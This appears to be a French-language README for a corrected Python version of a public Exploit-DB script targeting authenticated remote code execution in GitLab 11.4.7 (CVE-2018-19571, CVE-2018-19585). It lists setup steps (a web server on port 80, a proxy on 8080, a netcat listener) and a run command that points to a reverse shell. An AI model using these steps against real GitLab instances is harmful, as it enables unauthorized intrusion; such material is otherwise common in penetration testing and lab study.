edb-49263-fixed - GitLab 11.4.7 - Authenticated Remote Code Execution

Version corrigée du script Python pour exploiter CVE-2018-19571 et CVE-2018-19585 (GitLab 11.4.7 - Authenticated Remote Code Execution) disponible sur https://www.exploit-db.com/exploits/49263 (Python 3.9).

Utilisation

Modifiez le script et remplacez l'adresse cible qui s'y trouve par l'adresse cible réelle.

Gardez également à l'esprit que vous devez

1. disposer d'un compte utilisateur valide sur l'instance GitLab cible,
2. exécuter un serveur web (python) sur le port 80 dans le répertoire à partir duquel le script est exécuté,
3. disposer d'un serveur proxy actif sur votre machine sur le port 8080 (par ex. BURP avec l'interception désactivée ; l'exécution du script échouera sans erreur si aucun serveur proxy ne tourne sur l'hôte local ou s'il refuse les connexions), et
4. configurer un écouteur netcat sur le port souhaité sur votre machine.

Le script est ensuite exécuté comme suit :

python3 49263.py -U username -P password -l local-ip -p local-port-for-netcat-listener